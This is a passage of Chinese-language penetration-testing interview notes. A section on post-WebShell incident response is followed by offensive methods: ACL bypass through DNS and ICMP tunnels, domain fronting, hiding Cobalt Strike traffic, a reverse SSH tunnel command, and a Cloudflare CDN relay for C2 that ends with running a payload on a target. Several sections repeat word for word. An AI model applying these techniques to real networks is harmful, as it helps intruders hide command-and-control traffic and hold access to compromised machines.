    • 例如,在告警数据中发现 /index/index/index?options=id)%2bupdatexml(...) 这段 Payload
  • 情报关联:将提取的攻击特征与攻击特征规则库进行匹配

    • 通过匹配,我们发现上述 Payload 与 ThinkPHP5 框架的 SQL 注入漏洞相关联
  • 资产指纹核查:在获取到情报线索后,并不是所有关联的告警都需要深入分析。我们需要结合资产指纹信息库进行核查

    • 继续上面的例子,如果被攻击的资产并没有使用 ThinkPHP5 框架,那么尽管 WAF 发出了告警,但这起攻击尝试是不可能成功的。这种情况下,我们可以将这条告警排除,从而进一步缩小分析范围

WebShell 查杀后仍有流量怎么办

第一步:确认并隔离威胁

  • 立即隔离:最重要的一步是立即将受感染的服务器从网络中隔离出来。拔掉网线,或者在防火墙上设置策略,切断所有入站和出站的网络连接。这能防止攻击者继续控制服务器,并阻止他们进行横向移动,感染其他内网资产
  • 确认流量来源
    • 查看进程:使用 netstat -ano (Windows)或 netstat -anp (Linux)命令,查找建立异常外连的进程
    • 关联PID:找到可疑进程的PID(进程ID),然后使用 ps -ef | grep [PID] (Linux)或任务管理器(Windows)来确定该进程的详细信息,包括其父进程、启动路径和命令行参数

第二步:分析与清除持久化机制

当 WebShell 被清除后,外连流量依然存在,这表明攻击者已经利用 WebShell 留下了后门

  • 排查计划任务:攻击者最常用的持久化方式之一就是利用计划任务
    • Linux:检查 /etc/crontab/etc/cron.d//var/spool/cron/ 和用户的 crontab -l,查找是否有可疑的定时任务,例如定时执行脚本或下载恶意文件的任务
    • Windows:使用 schtasks 命令或任务计划程序来检查是否存在异常的定时任务
  • 排查自启动项:恶意程序可能会通过系统自启动项实现开机自启
    • Linux:检查 /etc/rc.local/etc/profile~/.bashrc 等文件
    • Windows:检查注册表的 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  • 排查系统服务:攻击者可能会创建新的系统服务
    • Windows:使用 services.mscsc query state=all 命令检查是否有异常服务
    • Linux:检查 /etc/init.d//lib/systemd/system/ 目录
  • 排查系统后门文件:恶意文件可能被伪装成系统文件,藏在 /tmp/var/tmp/var/shm 等临时目录,甚至是 /bin/usr/bin

第三步:取证与溯源

在清除所有威胁后,我们需要进行更深入的取证,以了解攻击者是如何入侵的

  • 检查日志
    • Web日志:分析Web服务器的 access.logerror.log,查找可疑的入侵路径
    • 系统日志:检查 /var/log/secureauth.log,看是否有异常登录或权限提升记录
    • 其他日志:检查数据库、FTP 等服务的日志,寻找可疑的活动
  • 文件时间戳:使用 ls -alt 命令,查看最近修改的文件,这有助于发现攻击者新创建的恶意文件
  • 威胁情报:将可疑的 IP 地址、域名、文件哈希值提交到威胁情报平台,看它们是否与已知的恶意活动相关

第四步:修复漏洞并加固

  • 漏洞修复:定位并修复被利用的漏洞。如果攻击者是通过 WebShell 入侵的,很可能是因为 Web 应用存在漏洞,例如文件上传、代码执行或反序列化漏洞
  • 权限收紧
    • 应用权限:将 Web 应用以低权限用户运行,限制其对文件系统的读写权限
    • 账户权限:删除攻击者创建的任何后门账户,并修改所有关键账户的密码
  • 安全设备加固
    • WAF/IPS:更新 WAF 和 IPS 的规则,以阻止已知的攻击 Payload
    • 端点安全:在服务器上部署 EDR,增强对恶意进程的检测和响应能力

9- 内网穿透系列

WebShell 查杀后仍有流量怎么办

第一步:确认并隔离威胁

  • 立即隔离:最重要的一步是立即将受感染的服务器从网络中隔离出来。拔掉网线,或者在防火墙上设置策略,切断所有入站和出站的网络连接。这能防止攻击者继续控制服务器,并阻止他们进行横向移动,感染其他内网资产
  • 确认流量来源
    • 查看进程:使用 netstat -ano (Windows)或 netstat -anp (Linux)命令,查找建立异常外连的进程
    • 关联PID:找到可疑进程的PID(进程ID),然后使用 ps -ef | grep [PID] (Linux)或任务管理器(Windows)来确定该进程的详细信息,包括其父进程、启动路径和命令行参数

第二步:分析与清除持久化机制

当 WebShell 被清除后,外连流量依然存在,这表明攻击者已经利用 WebShell 留下了后门

  • 排查计划任务:攻击者最常用的持久化方式之一就是利用计划任务
    • Linux:检查 /etc/crontab/etc/cron.d//var/spool/cron/ 和用户的 crontab -l,查找是否有可疑的定时任务,例如定时执行脚本或下载恶意文件的任务
    • Windows:使用 schtasks 命令或任务计划程序来检查是否存在异常的定时任务
  • 排查自启动项:恶意程序可能会通过系统自启动项实现开机自启
    • Linux:检查 /etc/rc.local/etc/profile~/.bashrc 等文件
    • Windows:检查注册表的 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
  • 排查系统服务:攻击者可能会创建新的系统服务
    • Windows:使用 services.mscsc query state=all 命令检查是否有异常服务
    • Linux:检查 /etc/init.d//lib/systemd/system/ 目录
  • 排查系统后门文件:恶意文件可能被伪装成系统文件,藏在 /tmp/var/tmp/var/shm 等临时目录,甚至是 /bin/usr/bin

第三步:取证与溯源

在清除所有威胁后,我们需要进行更深入的取证,以了解攻击者是如何入侵的

  • 检查日志
    • Web日志:分析Web服务器的 access.logerror.log,查找可疑的入侵路径
    • 系统日志:检查 /var/log/secureauth.log,看是否有异常登录或权限提升记录
    • 其他日志:检查数据库、FTP 等服务的日志,寻找可疑的活动
  • 文件时间戳:使用 ls -alt 命令,查看最近修改的文件,这有助于发现攻击者新创建的恶意文件
  • 威胁情报:将可疑的 IP 地址、域名、文件哈希值提交到威胁情报平台,看它们是否与已知的恶意活动相关

第四步:修复漏洞并加固

  • 漏洞修复:定位并修复被利用的漏洞。如果攻击者是通过 WebShell 入侵的,很可能是因为 Web 应用存在漏洞,例如文件上传、代码执行或反序列化漏洞

  • 权限收紧

    • 应用权限:将 Web 应用以低权限用户运行,限制其对文件系统的读写权限
    • 账户权限:删除攻击者创建的任何后门账户,并修改所有关键账户的密码
  • 安全设备加固

    • WAF/IPS:更新 WAF 和 IPS 的规则,以阻止已知的攻击 Payload
    • 端点安全:在服务器上部署 EDR,增强对恶意进程的检测和响应能力

    内网有 ACL 策略,如果是白名单如何绕过

1. 利用被允许的协议和端口

这是最直接、最有效的方法。你需要找到 ACL 策略放行的协议和端口,然后利用它们建立隧道

  • DNS 隧道:如果 ACL 允许 DNS 流量(通常是放行的,因为网络解析需要),这是首选方法
    • 原理:将你的恶意流量(例如 C2 通信)编码成 DNS 查询请求(通常是子域名),发送到你控制的公网 DNS 服务器。你的服务器解析后,再将响应数据编码在 DNS 回复包中返回
    • 优点:几乎所有网络都允许 DNS 流量出网,隐蔽性极高
    • 工具iodinednscat2 是最经典的 DNS 隧道工具
  • ICMP 隧道:如果 ACL 允许 ICMP 流量(例如允许 ping),你就可以利用它
    • 原理:将你的数据封装在 ICMP Echo 请求包的载荷中,通过 ping 的方式发送出去,并从回复包中接收数据
    • 优点:同样利用了网络诊断的合法协议,不易被察觉
    • 工具ptunnelicmpsh
  • HTTP/S 隧道:如果内网允许访问特定网站或端口的 HTTP/S 流量,你可以伪装成这种流量
    • 原理:将你的 C2 通信封装在 HTTP/S 请求和响应中。你可以利用 CDN合法域名或者特定的代理服务器来伪装流量
    • 优点:流量看起来像是正常的网页浏览,非常具有迷惑性
    • 工具reGeorg / Neo-reGeorgsliverCobalt Strike 都可以配置 HTTPS 监听器来绕过

2. 利用白名单 IP 或域名

除了协议和端口,ACL 策略也可能基于 IP 地址或域名进行白名单控制

  • 利用合法代理服务器:如果 ACL 允许访问某个合法的代理服务器(例如公司内部的 Web 代理),你可以尝试利用这个代理来转发你的流量
    • 原理:配置你的攻击工具,让其通过这个代理服务器进行通信
    • 挑战:代理服务器可能会有日志记录和内容审计
  • 利用被允许的域名进行 C2 通信:如果 ACL 只允许访问特定的几个域名(比如 *.microsoft.com),你可以尝试使用**域名欺骗(Domain Fronting)**技术,将你的 C2 服务器 IP 隐藏在这些域名背后
    • 原理:将你的 C2 服务器部署在某个云服务商(如 AWS、Azure)上,然后利用这些服务商的合法域名作为流量的“正面”,而你的真实 C2 流量则通过 SNI 等方式悄悄地指向你的服务器
    • 挑战:需要深入了解域名欺骗的原理和云服务的配置,且随着安全防御的升级,这种方法越来越难以成功

3. 利用物理或软件层面的漏洞

如果以上网络层面的方法都失败了,你可能需要考虑更底层的绕过方式

  • 利用已安装的软件进行通信:有些内网机器上会安装一些特殊的软件,这些软件可能拥有出网的白名单权限

    • 原理:例如,一些企业的远程协助软件、杀毒软件、或者特定的企业应用,它们的通信流量是允许的。如果你能劫持或利用这些软件的进程,就可以将你的流量注入其中
    • 挑战:需要深入分析目标机器上运行的软件,并找到其漏洞或利用点
  • DLL 注入或进程注入:这是一种更高级的攻击方式

    • 原理:将你的恶意代码注入到某个拥有出网白名单权限的合法进程中。这样,你的流量就会伪装成该进程的流量,从而绕过 ACL 策略
    • 优点:隐蔽性极高,可以有效绕过大多数基于网络层的防御
    • 挑战:技术门槛高,需要对进程和内存有深入理解

    如何进行内网穿透

1. 反向代理与隧道技术

这是最常用也是最稳定的内网穿透方式。其原理是让内网主机主动连接公网服务器,并建立一个持久的通信隧道

工具:Frp

Frp 是一个高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议,它可以将内网服务暴露给公网

工作流程:

  • 公网服务器(VPS): 运行 frps(服务端),监听一个端口
  • 内网主机(目标机器): 运行 frpc(客户端),连接到公网服务器
  • 配置:frpc.ini 配置文件中指定要暴露的内网服务(如 SSH 服务、Web 服务),并将其转发到公网服务器的指定端口上

Frp 优点:

  • 多协议支持: 几乎可以转发任何类型的流量
  • 配置简单: 配置文件清晰,易于上手
  • 性能优秀: 资源占用低,转发速度快
  • 隐蔽性: 流量经过加密,且内网主机是主动出站连接,不易被防火墙拦截

工具:Ngrok

Ngrok 提供了类似的隧道服务,但它通常需要注册账号,并且免费版有诸多限制。对于渗透测试来说,自己搭建的 Frp 更灵活、更可靠

2. SSH 隧道

SSH 隧道利用 SSH 协议来转发流量,是许多渗透测试工程师的首选工具,因为它在大多数 Linux 和 macOS 系统中都自带了 SSH 客户端

反向 SSH 隧道

原理: 攻击者在公网服务器上监听一个端口,然后让内网主机使用 ssh -R 命令,将内网的端口映射到公网服务器上

示例: 假设内网Web服务运行在 127.0.0.1:8080,公网VPS IP 为 203.0.113.10。 在内网主机上执行: ssh -R 8080:127.0.0.1:8080 user@203.0.113.10

  • -R:表示反向端口转发
  • 8080:公网服务器上的监听端口
  • 127.0.0.1:8080:内网服务的地址和端口
  • user@203.0.113.10:公网服务器的登录信息

现在,你就可以通过访问 http://203.0.113.10:8080 来访问内网的 Web 服务了

SSH 隧道优点:

  • 原生支持: 无需额外安装工具
  • 加密: 流量全程加密,安全可靠
  • 易用性: 命令行简单,操作便捷

3. DNS 隧道

在一些网络环境极端受限(如只允许 DNS 请求通过)的情况下,DNS 隧道是一种非常隐蔽且有效的穿透方式

原理: 将需要传输的数据编码为域名请求(DNS Query),发送到攻击者控制的公网 DNS 服务器。公网服务器接收到请求后,将其解码,然后将响应数据编码在 DNS 响应(DNS Reply)中返回

工具:

  • iodine: 这是一个流行的 DNS 隧道工具
  • dnscat2: 另一个功能强大的 DNS 隧道工具,可以模拟一个交互式 Shell

DNS 隧道优点:

  • 极度隐蔽: DNS 流量通常不被防火墙严格审查,容易绕过限制
  • 穿透力强: 几乎可以在任何网络环境中工作

DNS 隧道缺点:

  • 速度慢: 由于 DNS 协议的限制,传输速度非常慢,不适合传输大量数据
  • 不稳定: 容易受到网络波动影响

4. HTTP/HTTPS 隧道

当目标网络只允许 HTTP/HTTPS 流量出站时,可以利用 HTTP/HTTPS 隧道

原理: 将流量伪装成 HTTP/HTTPS 请求,通过公网服务器的 Web 代理或隧道工具进行转发

工具:

  • Tunna: 一个利用 HTTP 协议进行 TCP 隧道转发的工具
  • meterpreter 的 Reverse HTTP/HTTPS Payload: Metasploit 框架中的反向 shell,其流量就是通过 HTTP/HTTPS 隧道传输的

HTTP/HTTPS 隧道优点:

  • 绕过代理: 能够穿透只允许 Web 流量的网络
  • 隐蔽性好: 流量伪装成正常浏览行为,不易被发现

如何隐藏 CS 流量

1. 域前置

域前置是一种非常有效的流量隐藏技术,它利用了内容分发网络(CDN)的特性

核心思想: 攻击者将 CS 流量伪装成对一个著名且无害的域名的访问请求(比如 www.google.comwww.amazon.com)。当请求到达 CDN 服务器后,CDN 服务器会根据请求头中的特定字段(如 Host 字段),将流量转发到攻击者控制的真正恶意域名或 IP 地址上

工作流程:

  1. 你注册一个域名,例如 attacker.com
  2. attacker.com 的 CNAME 记录指向一个支持域前置的 CDN 服务提供商(如 Amazon CloudFront 或 Akamai)
  3. 在 CS 的配置文件中,将监听器的 Host Header 设置为 attacker.com
  4. 在 Beacon 的配置文件中,将 Host 设置为公共域名,例如 www.google.com

为什么有效? 网络安全设备看到的是对 www.google.com 的访问请求,这通常是白名单流量,很难被拦截。只有当流量到达 CDN 服务器后,其内部转发机制才会将其导向真正的恶意服务器

2. Malleable C2 配置文件

这是隐藏 CS 流量最基本也是最强大的方法。Malleable C2 配置文件允许你自定义 Beacon 的所有网络通信特征,使其看起来像合法的流量

核心思想: CS 的默认流量特征非常明显。通过修改 Malleable C2 配置文件,你可以改变 Beacon 的 HTTP 请求头、响应头、URI、HTTP POST 请求中的数据格式等等,使其模仿其他应用程序的流量,如 Google Chrome、Office 365 等

主要配置项:

  • http-get 定义 Beacon 向 C2 服务器获取任务的 GET 请求。你可以自定义 user-agenturi
  • http-post 定义 Beacon 向 C2 服务器回传数据的 POST 请求。你可以自定义 uridata
  • headers 修改请求头,让其看起来像正常的 Web 流量
  • stage 更改 Beacon 的 Payload 特征,使其更难被检测

示例: 一个精心制作的 Malleable C2 配置文件,可以使 Beacon 的流量看起来像在访问 Outlook Web Access 或者一个合法的 CDN 资源。这大大增加了网络安全设备的识别难度。

3. DNS over HTTPS(DoH)隧道

DoH 是一种将 DNS 查询通过加密的 HTTPS 协议发送的技术。你可以利用它来隐藏 CS 的 DNS 流量

核心思想: 传统的 DNS 流量是明文的,很容易被监控。如果你使用 DNS 作为 C2 通信信道,将 Beacon 的 DNS 请求伪装成 DoH 流量,可以有效绕过一些防火墙的 DNS 流量检测

优点:

  • 加密: 流量全程加密,难以被中间人分析
  • 伪装性: 将 DNS 流量混入正常的 HTTPS 流量中,非常隐蔽

实现方式: 需要使用支持 DoH 的 CS 插件或者自定义脚本来构建隧道

4. 利用其他协议隐藏流量

除了 HTTP/HTTPS 和 DNS,CS 还可以利用其他协议进行 C2 通信,从而绕过针对 Web 流量的检测

a. SMB Beacon

SMB Beacon 利用 SMB 协议在内网中进行横向移动和 C2 通信。它不产生任何出站流量,所有通信都在内网主机之间进行。 优点: 完美隐藏了出站流量,只在内网活动,非常适合内网横向渗透。 缺点: 无法从外部直接控制,需要先在一个跳板机上建立一个 HTTP/DNS Beacon

b. ICMP Beacon

ICMP Beacon 利用 ICMP 协议进行 C2 通信。 优点: 许多网络环境对 ICMP 流量审查不严,因此隐蔽性较好。 缺点: 传输数据量小,速度慢,不稳定


如何隐藏 CS 流量

1. 域前置

域前置是一种非常有效的流量隐藏技术,它利用了内容分发网络(CDN)的特性

核心思想: 攻击者将 CS 流量伪装成对一个著名且无害的域名的访问请求(比如 www.google.comwww.amazon.com)。当请求到达 CDN 服务器后,CDN 服务器会根据请求头中的特定字段(如 Host 字段),将流量转发到攻击者控制的真正恶意域名或 IP 地址上

工作流程:

  1. 你注册一个域名,例如 attacker.com
  2. attacker.com 的 CNAME 记录指向一个支持域前置的 CDN 服务提供商(如 Amazon CloudFront 或 Akamai)
  3. 在 CS 的配置文件中,将监听器的 Host Header 设置为 attacker.com
  4. 在 Beacon 的配置文件中,将 Host 设置为公共域名,例如 www.google.com

为什么有效? 网络安全设备看到的是对 www.google.com 的访问请求,这通常是白名单流量,很难被拦截。只有当流量到达 CDN 服务器后,其内部转发机制才会将其导向真正的恶意服务器

2. Malleable C2 配置文件

这是隐藏 CS 流量最基本也是最强大的方法。Malleable C2 配置文件允许你自定义 Beacon 的所有网络通信特征,使其看起来像合法的流量

核心思想: CS 的默认流量特征非常明显。通过修改 Malleable C2 配置文件,你可以改变 Beacon 的 HTTP 请求头、响应头、URI、HTTP POST 请求中的数据格式等等,使其模仿其他应用程序的流量,如 Google Chrome、Office 365 等

主要配置项:

  • http-get 定义 Beacon 向 C2 服务器获取任务的 GET 请求。你可以自定义 user-agenturi
  • http-post 定义 Beacon 向 C2 服务器回传数据的 POST 请求。你可以自定义 uridata
  • headers 修改请求头,让其看起来像正常的 Web 流量
  • stage 更改 Beacon 的 Payload 特征,使其更难被检测

示例: 一个精心制作的 Malleable C2 配置文件,可以使 Beacon 的流量看起来像在访问 Outlook Web Access 或者一个合法的 CDN 资源。这大大增加了网络安全设备的识别难度。

3. DNS over HTTPS(DoH)隧道

DoH 是一种将 DNS 查询通过加密的 HTTPS 协议发送的技术。你可以利用它来隐藏 CS 的 DNS 流量

核心思想: 传统的 DNS 流量是明文的,很容易被监控。如果你使用 DNS 作为 C2 通信信道,将 Beacon 的 DNS 请求伪装成 DoH 流量,可以有效绕过一些防火墙的 DNS 流量检测

优点:

  • 加密: 流量全程加密,难以被中间人分析
  • 伪装性: 将 DNS 流量混入正常的 HTTPS 流量中,非常隐蔽

实现方式: 需要使用支持 DoH 的 CS 插件或者自定义脚本来构建隧道

4. 利用其他协议隐藏流量

除了 HTTP/HTTPS 和 DNS,CS 还可以利用其他协议进行 C2 通信,从而绕过针对 Web 流量的检测

a. SMB Beacon

SMB Beacon 利用 SMB 协议在内网中进行横向移动和 C2 通信。它不产生任何出站流量,所有通信都在内网主机之间进行。 优点: 完美隐藏了出站流量,只在内网活动,非常适合内网横向渗透。 缺点: 无法从外部直接控制,需要先在一个跳板机上建立一个 HTTP/DNS Beacon

b. ICMP Beacon

ICMP Beacon 利用 ICMP 协议进行 C2 通信。 优点: 许多网络环境对 ICMP 流量审查不严,因此隐蔽性较好。 缺点: 传输数据量小,速度慢,不稳定


代理转发常用的工具有哪些

1. Frp

FRP 是一款开源的高性能反向代理应用,可以帮助你将内网服务暴露到公网。它支持多种协议,如 TCP、UDP、HTTP、HTTPS,并且配置简单

  • 优点: 性能高、功能强大、支持多平台、社区活跃
  • 适用场景: 将内网中的 Web 服务、SSH 服务等暴露给公网,或者建立一个稳定的代理通道

2. EW

EW 是一款专为内网穿透设计的轻量级工具。它通过 SOCKS5 代理的方式,将流量在多个节点之间进行转发,可以轻松构建多级代理

  • 优点: 体积小巧、使用简单、无需安装、支持多级代理
  • 适用场景: 在复杂的内网环境中,通过多个跳板机构建代理链,实现流量的隐蔽传输。

3. Nps

Nps 是一款功能强大的开源内网穿透工具,支持 TCP、UDP、SOCKS5、HTTP 等多种代理模式。它提供了 Web 管理界面,方便用户管理代理和查看流量信息

  • 优点: 功能丰富、有 Web 管理界面、支持多种协议、性能稳定
  • 适用场景: 需要长期、稳定地维护一个内网穿透通道时,特别是在团队协作的环境下。

4. Ligolo-ng

Ligolo-ng 是一款基于隧道(Tun)设备的代理工具。它在客户端和服务器端之间创建一个虚拟网络接口,使得攻击者可以像直接连接到内网一样,通过这个接口访问内网资源

  • 优点: 提供了完整的二层网络访问能力、流量隐蔽性高、不易被检测
  • 适用场景: 当你需要执行更复杂的网络操作(如端口扫描、漏洞利用等),而不仅仅是简单的流量转发时

5. SSH Tunneling

SSH 本身就是一种强大的代理转发工具。通过 SSH 隧道,你可以创建正向代理、反向代理和动态代理(SOCKS5 代理)

  • 正向代理: 将客户端的流量转发到 SSH 服务器
  • 反向代理: 将 SSH 服务器的流量转发到内网服务,实现内网穿透
  • 动态代理: 将本地端口变成一个 SOCKS5 代理,可以用于代理浏览器流量或整个系统的流量

优点: 系统自带、隐蔽性好、加密传输、无需额外工具

适用场景: 已经获得了 SSH 权限,且只需进行简单的端口转发或动态代理时


代理转发常用的工具有哪些

1. Frp

FRP 是一款开源的高性能反向代理应用,可以帮助你将内网服务暴露到公网。它支持多种协议,如 TCP、UDP、HTTP、HTTPS,并且配置简单

  • 优点: 性能高、功能强大、支持多平台、社区活跃
  • 适用场景: 将内网中的 Web 服务、SSH 服务等暴露给公网,或者建立一个稳定的代理通道

2. EW

EW 是一款专为内网穿透设计的轻量级工具。它通过 SOCKS5 代理的方式,将流量在多个节点之间进行转发,可以轻松构建多级代理

  • 优点: 体积小巧、使用简单、无需安装、支持多级代理
  • 适用场景: 在复杂的内网环境中,通过多个跳板机构建代理链,实现流量的隐蔽传输。

3. Nps

Nps 是一款功能强大的开源内网穿透工具,支持 TCP、UDP、SOCKS5、HTTP 等多种代理模式。它提供了 Web 管理界面,方便用户管理代理和查看流量信息

  • 优点: 功能丰富、有 Web 管理界面、支持多种协议、性能稳定
  • 适用场景: 需要长期、稳定地维护一个内网穿透通道时,特别是在团队协作的环境下。

4. Ligolo-ng

Ligolo-ng 是一款基于隧道(Tun)设备的代理工具。它在客户端和服务器端之间创建一个虚拟网络接口,使得攻击者可以像直接连接到内网一样,通过这个接口访问内网资源

  • 优点: 提供了完整的二层网络访问能力、流量隐蔽性高、不易被检测
  • 适用场景: 当你需要执行更复杂的网络操作(如端口扫描、漏洞利用等),而不仅仅是简单的流量转发时

5. SSH Tunneling

SSH 本身就是一种强大的代理转发工具。通过 SSH 隧道,你可以创建正向代理、反向代理和动态代理(SOCKS5 代理)

  • 正向代理: 将客户端的流量转发到 SSH 服务器
  • 反向代理: 将 SSH 服务器的流量转发到内网服务,实现内网穿透
  • 动态代理: 将本地端口变成一个 SOCKS5 代理,可以用于代理浏览器流量或整个系统的流量

优点: 系统自带、隐蔽性好、加密传输、无需额外工具

适用场景: 已经获得了 SSH 权限,且只需进行简单的端口转发或动态代理时


内网的多级代理用什么东西代理

1. SOCKS 代理

什么是 SOCKS 代理? SOCKS(Socket Secure)是一种网络协议,它允许客户端通过一个代理服务器进行通信,而不必知道具体的应用层协议。它工作在 OSI 模型的第五层(会话层),因此可以支持几乎所有的应用层协议,如 HTTP、FTP、SSH 等

如何实现?

  • SSH: ssh -D 1080 user@remote_server 这是最常见也最简单的方式。这条命令会在本地开启一个 SOCKS 代理(通常是 1080 端口),所有经过该代理的流量都会通过 SSH 连接加密后发送到远程服务器。远程服务器再将流量转发到目标内网。SSH 的优点是自带加密,且几乎所有 Linux 系统都默认安装
  • Metasploit 的 auxiliary/server/socks4asocks5 模块: 如果已经获取了 Meterpreter 会话,你可以直接在会话中运行 background,然后在 MSFconsole 中使用这个模块。它会利用已有的会话作为通道,建立一个 SOCKS 代理,让你可以通过 Metasploit 访问内网
  • frp (Fast Reverse Proxy): frp 是一个高性能的反向代理工具,它可以在公网服务器和内网服务器之间建立一个 TCP/UDP/HTTP/HTTPS/SOCKS5 等协议的通道。在多级代理场景中,frp 表现出色,因为它支持多级级联代理,并且配置灵活

2. HTTP 代理

什么是 HTTP 代理? HTTP 代理是一种工作在应用层(OSI 模型的第七层)的代理,主要用于转发 HTTP 和 HTTPS 流量。虽然功能不如 SOCKS 代理通用,但在某些特定场景下非常有用,尤其是在内网中部署了 Web 服务器时

如何实现?

  • Venom: Venom 是一种使用 Go 语言开发的强大代理工具,它支持多级级联代理,可以模拟 HTTP/HTTPS 协议,从而绕过一些网络审计设备的检测。它的优点是轻量、配置简单,并且支持 Windows、Linux 等多个平台
  • Neo-reGeorg: Neo-reGeorg 是 reGeorg 的升级版,它利用 HTTP(S) 隧道技术将流量封装在 HTTP 请求中。这意味着只要目标内网能访问 Web 服务,并且你能上传一个脚本(如 ASP/JSP/PHP),就能建立一个代理隧道

3. VPN

什么是 VPN? VPN(Virtual Private Network)是一种虚拟专用网络,它可以在公用网络上建立一个加密的、安全的通信通道。在渗透测试中,我们有时会利用 VPN 软件(如 OpenVPN)在跳板机上建立一个 VPN 服务,然后让目标内网机器连接到这个服务,从而将目标机器完全纳入我们的攻击网络,实现对内网的完全控制

如何实现?

  • OpenVPN: 这是最常见且开源的 VPN 软件。你可以在一台公网 VPS 上搭建 OpenVPN 服务器,然后将客户端配置上传到内网跳板机,在跳板机上运行客户端连接服务器。这样,你的本地机器就可以通过这个 VPN 通道直接访问内网

如果 TCP 和 UDP 不出网怎么绕过

1. 利用 DNS 协议进行隧道传输

DNS 协议是最常见的出网协议之一,很多防火墙为了保证正常的网络解析,都会放行 DNS 流量。因此,我们可以利用 DNS 请求和响应来传输数据

  • 工作原理: 我们把需要传输的数据编码成 DNS 域名请求(通常是子域名),发送给一个可控的 DNS 服务器。我们的服务器收到请求后,会解析这些数据,并把响应数据编码在 DNS 回复包中,发回给目标机器
  • 常用工具:
    • dnscat2: 这是一个功能强大的 DNS 隧道工具,支持加密和交互式会话,可以建立一个类似 shell 的通道
    • iodine: 另一个流行的 DNS 隧道工具,可以将 IPv4 流量封装在 DNS 请求中

2. 利用 ICMP 协议进行隧道传输

ICMP(互联网控制消息协议)主要用于网络诊断,例如 ping 命令就是基于 ICMP 协议。如果网络管理员没有禁用 ICMP,我们可以利用 ICMP 包来传输数据

  • 工作原理: 将数据封装在 ICMP Echo 请求或回复的数据载荷中。目标机器发送带有数据的 ICMP 请求到我们的服务器,我们的服务器解析数据并发送 ICMP 回复包,以此实现双向通信

  • 常用工具:

    • icmpsh: 一个简单的 ICMP shell,可以在两台机器之间建立一个交互式命令行
    • ptunnel: 一个 TCP over ICMP 的隧道工具,可以将 TCP 流量通过 ICMP 隧道传输

多级代理如何做一个 CDN 进行中转

步骤一:准备 C2 服务器

首先,你需要一台公网服务器作为你的 C2 服务器

  1. 购买一台云服务器:选择一个知名云服务商,比如 AWS、Azure、Google Cloud 或 Linode
  2. 配置 C2 框架:安装你的渗透测试框架,例如 Cobalt StrikeMetasploitSliver
  3. 配置监听器:在 C2 框架中设置一个 HTTP/HTTPS 的监听器。确保监听的端口是 80 或 443,这是 CDN 默认支持的端口,也是最常见的 Web 流量端口

步骤二:配置 CDN 服务

接下来,你需要配置一个 CDN 服务来指向你的 C2 服务器。这里我们以 Cloudflare 为例,因为它是最常用且免费的选项

  1. 注册域名:你需要一个自己的域名。可以是任何后缀,比如 .com.net.xyz
  2. 将域名解析到 Cloudflare
    • 在域名注册商那里,将域名的 DNS 服务器修改为 Cloudflare 提供的 DNS 服务器
    • 在 Cloudflare 中,添加你的域名
  3. 创建 DNS 记录
    • 在 Cloudflare 的 DNS 设置页面,创建一个 A 记录,将你想要的子域名(例如 cdn.yourdomain.com)指向你的 C2 服务器的真实 IP 地址
    • 关键步骤:确保这个记录的代理状态(Proxy status)设置为 “已代理”(Proxied),即那个云朵图标是亮的。这是告诉 Cloudflare 将流量通过它的网络中转,而不是直接解析到你的 IP
  4. 配置 SSL/TLS
    • 在 Cloudflare 的 SSL/TLS 设置页面,将模式设置为 “完全 (严格)”(Full (strict))。这会确保从客户端到 Cloudflare 的流量是加密的,同时从 Cloudflare 到你的服务器的流量也是加密的
    • 你需要在你的 C2 服务器上为你的域名安装一个有效的 SSL 证书。可以使用 Let’s Encrypt 免费生成

步骤三:在目标机器上执行

现在,你已经有了一个通过 CDN 中转的 HTTPS 流量通道

  1. 生成 payload:使用你的 C2 框架生成一个 payload,其回调地址(Callback URL)就是你刚才配置的 CDN 子域名(例如 https://cdn.yourdomain.com/
  2. 执行 payload:将这个 payload 部署到目标机器上并执行
  3. C2 通信:当 payload 在目标机器上运行时,它会向 cdn.yourdomain.com 发送 HTTPS 请求。这个请求首先会到达 Cloudflare 的边缘节点,Cloudflare 识别到这是一个代理流量,然后将它转发到你后台配置的 C2 服务器的真实 IP 地址。这样,C2 服务器就能与目标机器建立连接

10- 权限维持系列

多级代理如何做一个 CDN 进行中转

步骤一:准备 C2 服务器

首先,你需要一台公网服务器作为你的 C2 服务器

  1. 购买一台云服务器:选择一个知名云服务商,比如 AWS、Azure、Google Cloud 或 Linode
  2. 配置 C2 框架:安装你的渗透测试框架,例如 Cobalt StrikeMetasploitSliver
  3. 配置监听器:在 C2 框架中设置一个 HTTP/HTTPS 的监听器。确保监听的端口是 80 或 443,这是 CDN 默认支持的端口,也是最常见的 Web 流量端口

步骤二:配置 CDN 服务

接下来,你需要配置一个 CDN 服务来指向你的 C2 服务器。这里我们以 Cloudflare 为例,因为它是最常用且免费的选项

  1. 注册域名:你需要一个自己的域名。可以是任何后缀,比如 .com.net.xyz
  2. 将域名解析到 Cloudflare
    • 在域名注册商那里,将域名的 DNS 服务器修改为 Cloudflare 提供的 DNS 服务器
    • 在 Cloudflare 中,添加你的域名
  3. 创建 DNS 记录
    • 在 Cloudflare 的 DNS 设置页面,创建一个 A 记录,将你想要的子域名(例如 cdn.yourdomain.com)指向你的 C2 服务器的真实 IP 地址
    • 关键步骤:确保这个记录的代理状态(Proxy status)设置为 “已代理”(Proxied),即那个云朵图标是亮的。这是告诉 Cloudflare 将流量通过它的网络中转,而不是直接解析到你的 IP
  4. 配置 SSL/TLS
    • 在 Cloudflare 的 SSL/TLS 设置页面,将模式设置为 “完全 (严格)”(Full (strict))。这会确保从客户端到 Cloudflare 的流量是加密的,同时从 Cloudflare 到你的服务器的流量也是加密的
    • 你需要在你的 C2 服务器上为你的域名安装一个有效的 SSL 证书。可以使用 Let’s Encrypt 免费生成

步骤三:在目标机器上执行

现在,你已经有了一个通过 CDN 中转的 HTTPS 流量通道

  1. 生成 payload:使用你的 C2 框架生成一个 payload,其回调地址(Callback URL)就是你刚才配置的 CDN 子域名(例如 https://cdn.yourdomain.com/
  2. 执行 payload:将这个 payload 部署到目标机器上并执行
  3. C2 通信:当 payload 在目标机器上运行时,它会向 cdn.yourdomain.com 发送 HTTPS 请求。这个请求首先会到达 Cloudflare 的边缘节点,Cloudflare 识别到这是一个代理流量,然后将它转发到你后台配置的 C2 服务器的真实 IP 地址。这样,C2 服务器就能与目标机器建立连接

